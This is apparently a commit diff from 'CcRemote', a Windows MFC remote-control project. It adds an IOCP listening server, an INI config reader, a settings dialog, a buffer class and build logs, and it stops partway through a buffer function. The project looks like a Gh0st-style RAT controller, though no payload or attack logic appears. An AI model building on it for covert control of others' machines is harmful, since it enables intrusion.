<ClCompile Include="include\CpuUsage.cpp" />
<ClCompile Include="include\IOCPServer.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="IniFile.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
</ClCompile>
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>

View File

@@ -16,6 +16,9 @@
<Filter Include="重写控件">
<UniqueIdentifier>{476b0088-5a08-4c04-af41-397f23c6743b}</UniqueIdentifier>
</Filter>
<Filter Include="配置读取">
<UniqueIdentifier>{8cd661d2-1faa-45d7-bb15-62aa4ca09e28}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="CcRemote.h">
@@ -42,6 +45,24 @@
<ClInclude Include="TrueColorToolBar.h">
<Filter>重写控件</Filter>
</ClInclude>
<ClInclude Include="include\Buffer.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="include\CpuUsage.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="include\IOCPServer.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="include\Mapper.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="IniFile.h">
<Filter>配置读取</Filter>
</ClInclude>
<ClInclude Include="CSettingDlg.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CcRemote.cpp">
@@ -56,6 +77,21 @@
<ClCompile Include="TrueColorToolBar.cpp">
<Filter>重写控件</Filter>
</ClCompile>
<ClCompile Include="include\Buffer.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="include\CpuUsage.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="include\IOCPServer.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="IniFile.cpp">
<Filter>配置读取</Filter>
</ClCompile>
<ClCompile Include="CSettingDlg.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CcRemote.rc">

View File

@@ -7,6 +7,7 @@
#include "CcRemote.h"
#include "CcRemoteDlg.h"
#include "afxdialogex.h"
#include "CSettingDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
@@ -15,7 +16,7 @@
CIOCPServer *m_iocpServer = NULL;
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
class CAboutDlg : public CDialogEx
@@ -96,6 +97,76 @@ END_MESSAGE_MAP()
// CCcRemoteDlg 消息处理程序
/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers
//NotifyProc是这个socket内核的核心 所有的关于socket 的处理都要调用这个函数
void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext, UINT nCode)
{
try
{
switch (nCode)
{
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
break;
case NC_RECEIVE_COMPLETE:
//ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
break;
}
}
catch (...) {}
}
// 监听端口 最大上线个数
void CCcRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{
CString str;
if (m_iocpServer != NULL)
{
m_iocpServer->Shutdown();
delete m_iocpServer;
}
m_iocpServer = new CIOCPServer;
// 开启IPCP服务器 最大连接 端口 查看NotifyProc回调函数 函数定义
if (m_iocpServer->Initialize(NotifyProc, NULL, nMaxConnections, nPort))
{
char hostname[256];
gethostname(hostname, sizeof(hostname));
HOSTENT *host = gethostbyname(hostname);
if (host != NULL)
{
for (int i = 0; ; i++)
{
str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);
if (host->h_addr_list[i] + host->h_length >= host->h_name)
break;
str += "/";
}
}
str.Format("监听端口: %d成功", nPort);
ShowMessage(true, str);
}
else
{
str.Format("监听端口: %d失败", nPort);
ShowMessage(true, str);
}
}
BOOL CCcRemoteDlg::OnInitDialog()
{
CDialogEx::OnInitDialog();
@@ -126,18 +197,22 @@ BOOL CCcRemoteDlg::OnInitDialog()
SetIcon(m_hIcon, FALSE); // 设置小图标
// TODO: 在此添加额外的初始化代码
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
InitSystemMenu();//初始化系统托盘
InitToolBar();//初始化工具栏按钮控件
InitMyMenu();//初始化菜单控件
InitList();//初始化列表控件
InitStatusBar();//初始化状态栏控件
//---------改变窗口大小发动态调整-------|
//---------改变窗口大小发动态调整-------|
CRect rect;
GetWindowRect(&rect);
rect.bottom += 20;
MoveWindow(rect);
//----------------------------------------|
ListenPort();//监听端口
Test();
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
@@ -282,9 +357,11 @@ int CCcRemoteDlg::InitMyMenu()
int CCcRemoteDlg::InitList()
{
//设置list可选中
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//计算控件宽度
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
{
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
@@ -458,6 +535,8 @@ void CCcRemoteDlg::OnOnlineDelete()
void CCcRemoteDlg::OnMainSet()
{
// TODO: 在此添加命令处理程序代码
CSettingDlg MySettingDlg;
MySettingDlg.DoModal();
}
@@ -594,6 +673,8 @@ void CCcRemoteDlg::OnClose()
CDialogEx::OnClose();
}
//托盘图标回调函数
void CCcRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
switch ((UINT)lParam)
@@ -619,3 +700,15 @@ void CCcRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
}
}
void CCcRemoteDlg::ListenPort()
{
int nPort = ((CCcRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort"); //读取ini 文件中的监听端口
int nMaxConnection = ((CCcRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection"); //读取最大连接数
if (nPort == 0)
nPort = 80;
if (nMaxConnection == 0)
nMaxConnection = 10000;
Activate(nPort, nMaxConnection); //开始监听
}

View File

@@ -3,6 +3,7 @@
//
#include "TrueColorToolBar.h"
#include "PublicStruct.h"
#include "include/IOCPServer.h"
#pragma once
@@ -79,10 +80,13 @@ private:
void InitToolBar();//初始化工具条按钮控件
void InitSystemMenu();//初始化系统托盘菜单
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing);
void ShowMessage(bool bIsOK, CString strMsg);
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
void Test();
void ListenPort();
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
public:
//-------------自定义消息处理-------------

View File

@@ -1,20 +1,23 @@
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
f:\myapp\ccremote\ccremote\debug\ccremote.ilk
f:\myapp\ccremote\ccremote\debug\ccremote.exe
f:\myapp\ccremote\ccremote\debug\ccremote.pdb
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
g:\ccremote\ccremote\ccremote\debug\ccremote.ilk
g:\ccremote\ccremote\ccremote\debug\ccremote.exe
g:\ccremote\ccremote\ccremote\debug\ccremote.pdb
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog

View File

@@ -1,8 +1,18 @@
 pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(220): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(237): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(218): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(235): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
CpuUsage.cpp
TrueColorToolBar.cpp
正在生成代码...
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\Debug\CcRemote.exe
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码...
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|

View File

@@ -0,0 +1,87 @@
// IniFile.cpp: implementation of the CIniFile class.
//
//////////////////////////////////////////////////////////////////////
#include "pch.h"
#include "IniFile.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#define MAX_LENGTH 256
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CIniFile::CIniFile()
{
char szAppName[MAX_PATH];
int len;
GetModuleFileName(NULL, szAppName, sizeof(szAppName));
len = strlen(szAppName);
for(int i=len; i>0; i--)
{
if(szAppName[i] == '.')
{
szAppName[i+1] = '\0';
break;
}
}
strcat(szAppName, "ini");
IniFileName = szAppName;
}
CIniFile::~CIniFile()
{
}
CString CIniFile::GetString(CString AppName,CString KeyName,CString Default)
{
TCHAR buf[MAX_LENGTH];
GetPrivateProfileString(AppName, KeyName, Default, buf, sizeof(buf), IniFileName);
return buf;
}
int CIniFile::GetInt(CString AppName,CString KeyName,int Default)
{
return ::GetPrivateProfileInt(AppName, KeyName, Default, IniFileName);
}
unsigned long CIniFile::GetDWORD(CString AppName,CString KeyName,unsigned long Default)
{
TCHAR buf[MAX_LENGTH];
CString temp;
temp.Format("%u",Default);
GetPrivateProfileString(AppName, KeyName, temp, buf, sizeof(buf), IniFileName);
return atol(buf);
}
BOOL CIniFile::SetString(CString AppName,CString KeyName,CString Data)
{
return ::WritePrivateProfileString(AppName, KeyName, Data, IniFileName);
}
BOOL CIniFile::SetInt(CString AppName,CString KeyName,int Data)
{
CString temp;
temp.Format("%d", Data);
return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
}
BOOL CIniFile::SetDouble(CString AppName,CString KeyName,double Data)
{
CString temp;
temp.Format("%f",Data);
return WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
}
BOOL CIniFile::SetDWORD(CString AppName,CString KeyName,unsigned long Data)
{
CString temp;
temp.Format("%u",Data);
return WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
}

View File

@@ -0,0 +1,32 @@
// IniFile.h: interface for the CIniFile class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)
#define AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CIniFile
{
public:
CIniFile();
virtual ~CIniFile();
void SetIniFileName(CString FileName){ IniFileName = FileName; }
CString GetIniFileName(){ return IniFileName; }
CString GetString(CString AppName, CString KeyName, CString Default = "");
int GetInt(CString AppName, CString KeyName, int Default = 0);
unsigned long GetDWORD(CString AppName, CString KeyName, unsigned long Default = 0);
BOOL SetString(CString AppName, CString KeyName, CString Data);
BOOL SetInt(CString AppName, CString KeyName, int Data);
BOOL SetDouble(CString AppName, CString KeyName, double Data);
BOOL SetDWORD(CString AppName, CString KeyName, unsigned long Data);
private:
CString IniFileName;
};
#endif // !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)

View File

@@ -0,0 +1,11 @@
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.pch
g:\ccremote\ccremote\ccremote\ccremote\release\vc141.pdb
g:\ccremote\ccremote\ccremote\ccremote\release\pch.obj
g:\ccremote\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
g:\ccremote\ccremote\ccremote\ccremote\release\inifile.obj
g:\ccremote\ccremote\ccremote\ccremote\release\cpuusage.obj
g:\ccremote\ccremote\ccremote\ccremote\release\csettingdlg.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.obj
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog

View File

@@ -0,0 +1,27 @@
 pch.cpp
CcRemote.cpp
CcRemoteDlg.cpp
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(147): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(152): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(292): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(309): warning C4244: “初始化”: 从“double”转换到“int”可能丢失数据
CSettingDlg.cpp
CpuUsage.cpp
IniFile.cpp
g:\ccremote\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
TrueColorToolBar.cpp
Buffer.cpp
IOCPServer.cpp
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(129): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(715): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(764): warning C4244: “初始化”: 从“double”转换到“unsigned long”可能丢失数据
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(910): warning C4018: “>=”: 有符号/无符号不匹配
正在生成代码
All 405 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Release\CcRemote.exe

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|

View File

@@ -0,0 +1,524 @@
// Buffer.cpp: implementation of the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "Buffer.h"
#include "Math.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: CBuffer
//
// DESCRIPTION: Constructs the buffer with a default size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::CBuffer()
{
// Initial size
m_nSize = 0;
m_pPtr = m_pBase = NULL;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ~CBuffer
//
// DESCRIPTION: Deallocates the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::~CBuffer()
{
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
ReAllocateBuffer(nSize + GetBufferLen());
CopyMemory(m_pPtr,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
ReAllocateBuffer(nSize + GetBufferLen());
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetMemSize
//
// DESCRIPTION: Returns the phyical memory allocated to the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetMemSize()
{
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBufferLen
//
// DESCRIPTION: Get the buffer 'data' length
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetBufferLen()
{
if (m_pBase == NULL)
return 0;
int nSize =
m_pPtr - m_pBase;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Scan
//
// DESCRIPTION: Scans the buffer for a given byte sequence
//
// RETURNS: Logical offset
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
int CBuffer::Scan(PBYTE pScan,UINT nPos)
{
if (nPos > GetBufferLen() )
return -1;
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
int nOffset = 0;
if (pStr)
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
return nOffset;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes a string a the end of the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(CString& strData)
{
int nSize = strData.GetLength();
return Write((PBYTE) strData.GetBuffer(nSize), nSize);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert a string at the beginning of the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(CString& strData)
{
int nSize = strData.GetLength();
return Insert((PBYTE) strData.GetBuffer(nSize), nSize);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Copy
//
// DESCRIPTION: Copy from one buffer object to another...
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
int nReSize = buffer.GetMemSize();
int nSize = buffer.GetBufferLen();
ClearBuffer();
ReAllocateBuffer(nReSize);
m_pPtr = m_pBase + nSize;
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
PBYTE CBuffer::GetBuffer(UINT nPos)
{
return m_pBase+nPos;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
///////////////////////////////////////////////////////////////////////////////
void CBuffer::FileWrite(const CString& strFileName)
{
CFile file;
if (file.Open(strFileName, CFile::modeWrite | CFile::modeCreate))
{
file.Write(m_pBase,GetBufferLen());
file.Close();
}
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
